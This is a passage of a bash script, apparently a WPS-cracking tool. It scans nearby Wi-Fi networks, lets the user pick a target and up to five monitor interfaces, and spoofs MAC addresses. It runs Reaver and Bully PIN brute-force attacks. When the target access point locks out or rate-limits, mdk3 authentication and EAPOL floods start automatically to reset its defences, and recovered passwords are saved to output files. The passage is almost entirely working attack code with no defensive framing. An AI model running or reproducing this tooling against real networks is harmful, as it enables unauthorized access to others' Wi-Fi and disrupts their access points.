/BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') + +conditional_clear +mostrarheader + +echo "Select your wlan" +echo "" +echo -e ""$blue"0)"$transparent" Rescan" +echo -e ""$blue"1)"$transparent" $ESSID1" +echo -e ""$blue"2)"$transparent" $ESSID2" +echo -e ""$blue"3)"$transparent" $ESSID3" +echo -e ""$blue"4)"$transparent" $ESSID4" +echo -e ""$blue"5)"$transparent" $ESSID5" +echo -e ""$blue"6)"$transparent" $ESSID6" +echo -e ""$blue"7)"$transparent" $ESSID7" +echo -e ""$blue"8)"$transparent" $ESSID9" +echo -e ""$blue"9)"$transparent" $ESSID10" +echo -e ""$blue"10)"$transparent" $ESSID11" +echo -e ""$blue"11)"$transparent" $ESSID11" +echo -e ""$blue"12)"$transparent" $ESSID12" +echo -e ""$blue"13)"$transparent" $ESSID13" +echo -e ""$blue"14)"$transparent" $ESSID14" +echo -e ""$blue"15)"$transparent" $ESSID15" +echo -e ""$blue"16)"$transparent" $ESSID16" +echo -e ""$blue"17)"$transparent" $ESSID17" +echo -e ""$blue"18)"$transparent" $ESSID18" +echo -e ""$blue"19)"$transparent" $ESSID19" +echo -e ""$blue"20)"$transparent" $ESSID20" +echo -e ""$blue"21)"$transparent"EXIT" +echo -e "" + + +read a +case $a in + + 0) +clear +scan_for_targets +;; + 21) +clear +exitmode +;; + 1) +BSSID=$BSSID1 +ESSID=$ESSID1 +CHANNEL=$CHANNEL1 +;; + 2) +BSSID=$BSSID2 +ESSID=$ESSID2 +CHANNEL=$CHANNEL2 +;; + 3) +BSSID=$BSSID3 +ESSID=$ESSID3 +CHANNEL=$CHANNEL3 +;; + 4) +BSSID=$BSSID4 +ESSID=$ESSID4 +CHANNEL=$CHANNEL4 +;; + 5) +BSSID=$BSSID5 +ESSID=$ESSID5 +CHANNEL=$CHANNEL5 +;; + 6) +BSSID=$BSSID6 +ESSID=$ESSID6 +CHANNEL=$CHANNEL6 +;; + 7) +BSSID=$BSSID7 +ESSID=$ESSID7 +CHANNEL=$CHANNEL7 +;; + 8) +BSSID=$BSSID8 +ESSID=$ESSID8 +CHANNEL=$CHANNEL8 +;; + 9) +BSSID=$BSSID9 +ESSID=$ESSID9 +CHANNEL=$CHANNEL9 +;; + 10) +BSSID=$BSSID10 +ESSID=$ESSID10 +CHANNEL=$CHANNEL10 +;; + 11) +BSSID=$BSSID11 +ESSID=$ESSID11 +CHANNEL=$CHANNEL11 +;; + 12) +BSSID=$BSSID12 +ESSID=$ESSID12 +CHANNEL=$CHANNEL12 +;; + 13) +BSSID=$BSSID13 +ESSID=$ESSID13 +CHANNEL=$CHANNEL13 +;; + 14) +BSSID=$BSSID14 +ESSID=$ESSID14 +CHANNEL=$CHANNEL14 +;; + 15) +BSSID=$BSSID15 +ESSID=$ESSID15 +CHANNEL=$CHANNEL15 +;; + 16) +BSSID=$BSSID16 +ESSID=$ESSID16 +CHANNEL=$CHANNEL16 +;; + 17) +BSSID=$BSSID17 +ESSID=$ESSID17 +CHANNEL=$CHANNEL17 +;; + 18) +BSSID=$BSSID18 +ESSID=$ESSID18 +CHANNEL=$CHANNEL18 +;; + 19) +BSSID=$BSSID19 +ESSID=$ESSID19 +CHANNEL=$CHANNEL19 +;; + 20) +BSSID=$BSSID20 +ESSID=$ESSID20 +CHANNEL=$CHANNEL20 +;; + *) +Invalid Option +;; +esac + +} + +####End of Target Scanner#### + +################################## Functions For MDK3 ######################################## + +run_mdk3_ASOC1() +{ + xterm -e "timeout 60 mdk3 WIFI_MONITOR a -a $BSSID -m" +} + +run_mdk3_EAPOL1() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC2() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m" +} + +run_mdk3_EAPOL2() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC3() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m" +} + +run_mdk3_EAPOL3() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC4() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m" +} + +run_mdk3_EAPOL4() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC5() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m" +} + +run_mdk3_EAPOL5() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250" +} + +##################################End Of Functions For MDK3 ######################################## + +conditional_clear +mostrarheader + +echo "§How many wlan WIFI_MONITORs§" +echo " " +echo -e ""$blue"1)"$transparent" 1 WIFI_MONITOR" +echo -e ""$blue"2)"$transparent" 2 WIFI_MONITOR" +echo -e ""$blue"3)"$transparent" 3 WIFI_MONITOR" +echo -e ""$blue"4)"$transparent" Back" +echo " " +echo -n " #> " + +read a +case $a in + 1) +clear +echo +read -p " - What is the name of your Wlan WIFI_MONITOR (Ex:wlan0) - ": WIFI_MONITOR; + +clear + +scan_for_targets + + +clear + +enable_mon_mode_1 + +sleep 1 + +clear + + + +conditional_clear +mostrarheader + +echo "Change MAC Address" +echo " " + echo -e " "$blue"1)"$transparent" yes" + echo -e " "$blue"2)"$transparent" no" + echo " " + echo -n " #> " + +read c +case $c in + 1) +clear + +mac_change_1 + +sleep 1 + +clear +;; + 2) +clear +;; + *)Invalid Option +;; +esac + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" + +read d +case $d in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC1 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL1 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC1 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL1 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 2) +clear + +conditional_clear +mostrarheader +echo +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; +clear +echo +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +clear +conditional_clear +mostrarheader +echo "Second WIFI_MONITOR +1)Yes +2)No" + +read f +case $f in + 1) +clear + +mac_change_1 + +mac_change_2 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read g +case $g in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC2 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL2 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC2 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL2 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac + +} + +menu +conditional_clear +mostrarheader +;; + 3) +clear +echo +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; +clear +echo +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +clear +echo +read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +clear + +scan_for_targets + +clear + + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + + + + +clear +conditional_clear +mostrarheader +echo "************** - Would you like to set the 3 WIFI_MONITORs to an Identical MAC Address? - ************** +1)Yes +2)No" + +read i +case $i in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read j +case $j in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC3 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL3 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC3 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL3 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 4) +clear +echo +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; +clear +echo +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +clear +echo +read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +clear +echo +read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + +enable_mon_mode_4 + + +clear + +echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** +1)Yes +2)No" + +read l +case $l in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +mac_change_4 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + +clear + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read m +case $m in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC4 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL4 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC4 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL4 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 5) +clear +echo +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; +clear +echo +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +clear +echo +read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +clear +echo +read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; +clear +echo +read -p " - What is the name of your 5th Wlan WIFI_MONITOR (Ex:Wlan4) - ": WIFI_MONITOR5; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + +enable_mon_mode_4 + +enable_mon_mode_5 + +clear + +echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** +1)Yes +2)No" + +read o +case $o in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +mac_change_4 + +mac_change_5 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read p +case $p in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC5 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL5 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC5 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL5 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 